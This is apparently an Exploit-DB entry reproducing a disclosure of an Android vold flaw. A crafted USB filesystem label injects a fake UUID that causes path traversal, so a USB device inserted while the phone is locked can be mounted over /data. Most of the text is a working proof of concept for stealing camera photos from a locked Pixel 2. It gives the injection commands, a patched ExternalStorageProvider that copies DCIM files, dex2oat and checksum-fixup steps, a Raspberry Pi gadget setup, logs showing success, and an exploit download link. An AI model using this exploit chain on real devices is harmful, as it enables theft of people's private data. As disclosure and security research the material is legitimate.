1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 |
When a USB mass storage device is inserted into an Android phone (even if the phone is locked!), vold will attempt to automatically mount partitions from the inserted device. For this purpose, vold has to identify the partitions on the connected device and collect some information about them, which is done in readMetadata() in system/vold/Utils.cpp. This function calls out to "blkid", then attempts to parse the results: std::vector<std::string> cmd; cmd.push_back(kBlkidPath); cmd.push_back("-c"); cmd.push_back("/dev/null"); cmd.push_back("-s"); cmd.push_back("TYPE"); cmd.push_back("-s"); cmd.push_back("UUID"); cmd.push_back("-s"); cmd.push_back("LABEL"); cmd.push_back(path); std::vector<std::string> output; status_t res = ForkExecvp(cmd, output, untrusted ? sBlkidUntrustedContext : sBlkidContext); if (res != OK) { LOG(WARNING) << "blkid failed to identify " << path; return res; } char value[128]; for (const auto& line : output) { // Extract values from blkid output, if defined const char* cline = line.c_str(); const char* start = strstr(cline, "TYPE="); if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) { fsType = value; } start = strstr(cline, "UUID="); if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) { fsUuid = value; } start = strstr(cline, "LABEL="); if (start != nullptr && sscanf(start + 6, "\"%127[^\"]\"", value) == 1) { fsLabel = value; } } Normally, the UUID string can't contain any special characters because blkid generates it by reformatting a binary ID as a printable UUID string. However, the version of blkid that Android is using will print the LABEL first, without escaping the characters this code scans for, allowing an attacker to place special characters in the fsUuid variable. For example, if you format a USB stick with a single partition, then place a romfs filesystem in the partition as follows (on the terminal of a Linux PC): # echo '-rom1fs-########TYPE="vfat" UUID="../../data"' > /dev/sdc1 and then connect the USB stick to a Nexus 5X and run blkid as root on the device, you'll see the injection: bullhead:/ # blkid -c /dev/null -s TYPE -s UUID -s LABEL /dev/block/sda1 /dev/block/sda1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs" logcat shows that the injection was successful and the device is indeed using the injected values, but vold doesn't end up doing much with the fake UUID because fsck_msdos fails: 05-29 20:41:26.262 391 398 V vold: /dev/block/vold/public:8,1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs" 05-29 20:41:26.262 391 398 V vold: 05-29 20:41:26.263 391 398 V vold: /system/bin/fsck_msdos 05-29 20:41:26.263 391 398 V vold: -p 05-29 20:41:26.263 391 398 V vold: -f 05-29 20:41:26.263 391 398 V vold: /dev/block/vold/public:8,1 05-29 20:41:26.264 8132039 D VoldConnector: RCV <- {652 public:8,1 vfat} 05-29 20:41:26.264 8132039 D VoldConnector: RCV <- {653 public:8,1 ../../data} 05-29 20:41:26.265 8132039 D VoldConnector: RCV <- {654 public:8,1 TYPE=} 05-29 20:41:26.281 391 398 I fsck_msdos: ** /dev/block/vold/public:8,1 05-29 20:41:26.285 391 398 I fsck_msdos: Invalid sector size: 8995 05-29 20:41:26.286 391 398 I fsck_msdos: fsck_msdos terminated by exit(8) 05-29 20:41:26.286 391 398 E Vold: Filesystem check failed (no filesystem) 05-29 20:41:26.286 391 398 E vold: public:8,1 failed filesystem check 05-29 20:41:26.286 8132039 D VoldConnector: RCV <- {651 public:8,1 6} 05-29 20:41:26.287 8132039 D VoldConnector: RCV <- {400 48 Command failed} 05-29 20:41:26.28825322532 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,1}: 05-29 20:41:26.28825322532 D StorageNotification: type=PUBLIC diskId=disk:8,0 partGuid=null mountFlags=0 mountUserId=0 05-29 20:41:26.28825322532 D StorageNotification: state=UNMOUNTABLE 05-29 20:41:26.28825322532 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE= 05-29 20:41:26.28825322532 D StorageNotification: path=null internalPath=null For a relatively harmless example in which vold actually ends up mounting the device in the wrong place, you can create a vfat partition with label 'UUID="../##': # mkfs.vfat -n 'PLACEHOLDER' /dev/sdc1 mkfs.fat 4.1 (2017-01-24) # dd if=/dev/sdc1 bs=1M count=200 | sed 's|PLACEHOLDER|UUID="../##|g' | dd of=/dev/sdc1 bs=1M 200+0 records in 200+0 records out 209715200 bytes (210 MB, 200 MiB) copied, 1.28705 s, 163 MB/s 198+279 records in 198+279 records out 209715200 bytes (210 MB, 200 MiB) copied, 2.60181 s, 80.6 MB/s Connect it to the Android device again while running strace against vold: [pid 398] newfstatat(AT_FDCWD, "/mnt/media_rw/../##", 0x7d935fe708, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) [pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0 [pid 398] fchmodat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0 [pid 398] fchownat(AT_FDCWD, "/mnt/media_rw/../##", 0, 0, 0) = 0 [pid 398] mount("/dev/block/vold/public:8,1", "/mnt/media_rw/../##", "vfat", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_DIRSYNC|MS_NOATIME, "utf8,uid=1023,gid=1023,fmask=7,d"...) = 0 [pid 398] faccessat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", F_OK) = -1 ENOENT (No such file or directory) [pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", 0755) = 0 Check the results: bullhead:/ # ls -l /mnt total 32 drwxrwx--- 3 media_rw media_rw 32768 2018-05-29 20:54 ## drwx--x--x 2 root root40 1970-01-01 04:14 appfuse drwxr-xr-x 2 root system40 1970-01-01 04:14 asec drwxrwx--x 2 system system40 1970-01-01 04:14 expand drwxr-x--- 2 root media_rw40 1970-01-01 04:14 media_rw drwxr-xr-x 2 root system40 1970-01-01 04:14 obb drwx------ 5 root root 100 1970-01-01 04:14 runtime lrwxrwxrwx 1 root root21 1970-01-01 04:14 sdcard -> /storage/self/primary drwx------ 3 root root60 1970-01-01 04:14 secure drwxr-xr-x 3 root root60 1970-01-01 04:14 user bullhead:/ # mount | grep '##' /dev/block/vold/public:8,1 on /mnt/## type vfat (rw,dirsync,nosuid,nodev,noexec,noatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro) When testing with a normal USB stick, the attacker has to choose between using a vfat filesystem (so that Android is capable of mounting it as external storage) and using a romfs filesystem (so that the label is long enough to specify arbitrary paths). However, an attacker who wants to perform more harmful attacks could use a malicious USB storage device that is capable of delivering different data for multiple reads from the same location. This way, it would be possible to deliver a romfs superblock when blkfs is reading, but deliver a vfat superblock when the kernel is reading. I haven't tested this yet because I don't yet have the necessary hardware. When you fix this issue, please don't just fix the injection and/or the directory traversal. I believe that from a security perspective, a smartphone should not mount storage devices that are inserted while the screen is locked (or, more generally, communication with new USB devices should be limited while the screen is locked). Mounting a USB storage device exposes a lot of code to the connected device, including partition table parsing, vold logic, blkid, the kernel's FAT filesystem implementation, and anything on the device that might decide to read files from the connected storage device. ############################################################ This is a PoC for stealing photos from the DCIM folder of a Pixel 2 running build OPM2.171026.006.C1 while the device is locked. You will need a Pixel 2 as victim device, a corresponding AOSP build tree, a Raspberry Pi Zero W (or some other device you can use for device mode USB), a powered USB hub, and some cables. The victim phone must be powered on, the disk encryption keys must be unlocked (meaning that you must have entered your PIN/passphrase at least once since boot), and the attack probably won't work if someone has recently (since the last reboot) inserted a USB stick into the phone. Configure the Raspberry Pi Zero W such that it is usable for gadget mode (see e.g. https://gist.github.com/gbaman/50b6cca61dd1c3f88f41). Apply the following patch to frameworks/base in your AOSP build tree: ========================================= diff --git a/packages/ExternalStorageProvider./src/com/android/externalstorage/MountReceiver.java b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java index 8a6c7d68525..73be5818da1 100644 --- a/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java +++ b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java @@ -20,10 +20,38 @@ import android.content.BroadcastReceiver; import android.content.ContentProviderClient; import android.content.Context; import android.content.Intent; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; public class MountReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { +System.logE("MOUNTRECEIVER CODE INJECTED, GRABBING FILES..."); +try { +File exfiltration_dir = new File("/data/exfiltrated-photos"); +exfiltration_dir.mkdir(); +File camera_dir = new File("/storage/emulated/0/DCIM/Camera"); +File[] camera_files = camera_dir.listFiles(); +for (File camera_file: camera_files) { +System.logE("GRABBING '"+camera_file.getName()+"'"); +File exfiltrated_file = new File(exfiltration_dir, camera_file.getName()); +exfiltrated_file.delete(); +FileInputStream ins = new FileInputStream(camera_file); +FileOutputStream outs = new FileOutputStream(exfiltrated_file); +byte[] buf = new byte[4096]; +int len; +while ((len=ins.read(buf)) > 0) { +outs.write(buf, 0, len); +} +ins.close(); +outs.close(); +} +} catch (Exception e) { +throw new RuntimeException(e); +} +System.logE("INJECTED CODE DONE"); + final ContentProviderClient client = context.getContentResolver() .acquireContentProviderClient(ExternalStorageProvider.AUTHORITY); try { ========================================= Then build the tree ("lunch aosp_walleye-userdebug", then build with "make"). Zip the classes.dex build artifact of ExternalStorageProvider: $ zip -jX zipped_dexfile ~/aosp-walleye/out/target/common/obj/APPS/ExternalStorageProvider_intermediates/classes.dex adding: classes.dex (deflated 49%) $ mv zipped_dexfile.zip zipped_dexfile Download the factory image for OPM2.171026.006.C1 and unpack its system partition, e.g. using commands roughly as follows: $ unzip image-walleye-opm2.171026.006.c1.zip $ ~/aosp-walleye/out/host/linux-x86/bin/simg2img system.img system.img.raw # convert sparse image to normal $ echo 'rdump / walleye-opm2.171026.006.c1/unpacked_system/' | debugfs -f- walleye-opm2.171026.006.c1/unpacked_image/system.img.raw 2>/dev/null # extract filesystem image Now build the classes.dex build artifact into an odex file and a vdex file, linking against boot.art from the factory image: $ ~/aosp-walleye/out/host/linux-x86/bin/dex2oat --runtime-arg -Xms64m --runtime-arg -Xmx512m --class-loader-context='&' --boot-image=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/framework/boot.art --dex-file=zipped_dexfile --dex-location=/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk --oat-file=package.odex --android-root=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system --instruction-set=arm64 --instruction-set-variant=cortex-a73 --instruction-set-features=default --runtime-arg -Xnorelocate --compile-pic --no-generate-debug-info --generate-build-id --abort-on-hard-verifier-error --force-determinism --no-inline-from=core-oj.jar --compiler-filter=quicken The resulting vdex file would not be accepted by the phone because of a CRC32 checksum mismatch; to fix it up, compile the attached vdex_crc32_fixup.c and use it to overwrite the CRC32 checksum with the expected one from the factory image: $ ./vdex_crc32_fixup package.vdex ~/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk original crc32: d0473780 new crc32: 84c10ae9 vdex patched Prepare two disk images, each with a MBR partition table and a single partition. Their partition tables should be identical. In the first image's partition, place a fake romfs filesystem that triggers the vold bug: # echo -e '-rom1fs-########TYPE="vfat" UUID="../../data"\0' > /dev/sdd1 Format the second image's partition with FAT32, and create the following directory structure inside that filesystem (the "system@" entries are files, the rest are directories): ├── dalvik-cache │ └── arm64 │ ├── system@framework@boot.art │ ├── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex │ └── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex ├── LOST.DIR ├── misc │ └── profiles │ └── cur │ └── 0 │ └── com.android.externalstorage ├── user │ └── 0 │ └── com.android.externalstorage │ └── cache └── user_de └── 0 └── com.android.externalstorage └── code_cache The three system@ files should have the following contents: - system@framework@boot.art should be a copy of system/framework/arm64/boot.art from the system image. - system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex should be the generated package.odex. - system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex should be the fixed-up package.vdex. Copy the two disk images to the Raspberry Pi Zero W; the fake romfs image should be named "disk_image_blkid", the image with FAT32 should be named "disk_image_mount". On the Pi, build the fuse_intercept helper: $ gcc -Wall fuse_intercept.c <code>pkg-config fuse --cflags --libs</code> -o fuse_intercept Then create a directory "mount" and launch fuse_intercept. In a second terminal, tell the Pi's kernel to present the contents of the mount point as a mass storage device: pi@raspberrypi:~ $ sudo modprobe dwc2 pi@raspberrypi:~ $ sudo modprobe g_mass_storage file=/home/pi/mount/wrapped_image stall=0 To run the attack, connect the Pi to the powered USB hub as a device. Then use a USB-C OTG adapter (unless you have some fancy USB-C hub, I guess?) to connect the powered hub to the locked phone, with the phone in USB host mode. At this point, the phone should first mount the USB stick over /data, then immediately afterwards launch com.android.externalstorage/.MountReceiver: 06-05 21:58:20.988 656 665 I Vold: Filesystem check completed OK 06-05 21:58:20.98811151235 D VoldConnector: RCV <- {656 public:8,97 /mnt/media_rw/../../data} 06-05 21:58:20.99011151235 D VoldConnector: RCV <- {655 public:8,97 /mnt/media_rw/../../data} 06-05 21:58:21.00411151235 D VoldConnector: RCV <- {651 public:8,97 2} 06-05 21:58:21.00411151115 W android.fg: type=1400 audit(0.0:33): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0 06-05 21:58:21.00611151235 D VoldConnector: RCV <- {200 7 Command succeeded} 06-05 21:58:21.00411151115 W android.fg: type=1400 audit(0.0:34): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0 06-05 21:58:21.00813351335 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,97}: 06-05 21:58:21.00813351335 D StorageNotification: type=PUBLIC diskId=disk:8,96 partGuid=null mountFlags=0 mountUserId=0 06-05 21:58:21.00813351335 D StorageNotification: state=MOUNTED 06-05 21:58:21.00813351335 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE= 06-05 21:58:21.00813351335 D StorageNotification: path=/mnt/media_rw/../../data internalPath=/mnt/media_rw/../../data 06-05 21:58:21.02011151129 I ActivityManager: Start proc 4478:com.android.externalstorage/u0a35 for broadcast com.android.externalstorage/.MountReceiver Most processes can't access the vfat filesystem that is now mounted at /data either because they lack the necessary groups or because of some SELinux rule. But com.android.externalstorage passes both checks and can read and write (but not execute) files from the new /data. Bytecode is loaded from /data/dalvik-cache/arm64/system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex and then interpreted, allowing the attacker to steal photos from the device (since com.android.externalstorage has access to /storage/emulated/0): 06-05 21:58:21.24844784478 I zygote64: The ClassLoaderContext is a special shared library. 06-05 21:58:21.27644784478 W zygote64: JIT profile information will not be recorded: profile file does not exits. 06-05 21:58:21.27844784478 W asset : failed to open idmap file /data/resource-cache/vendor@overlay@Pixel@PixelThemeOverlay.apk@idmap 06-05 21:58:21.32644784478 D ExternalStorage: After updating volumes, found 3 active roots 06-05 21:58:21.33444784478 E System: MOUNTRECEIVER CODE INJECTED, GRABBING FILES... 06-05 21:58:21.34344784478 E System: GRABBING 'IMG_20180605_212044.jpg' 06-05 21:58:21.41944784478 E System: GRABBING 'IMG_20180605_215031.jpg' 06-05 21:58:21.42822182218 W SQLiteLog: (28) file renamed while open: /data/user/0/com.google.android.gms/databases/config.db 06-05 21:58:21.46544784478 E System: INJECTED CODE DONE Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45192.zip |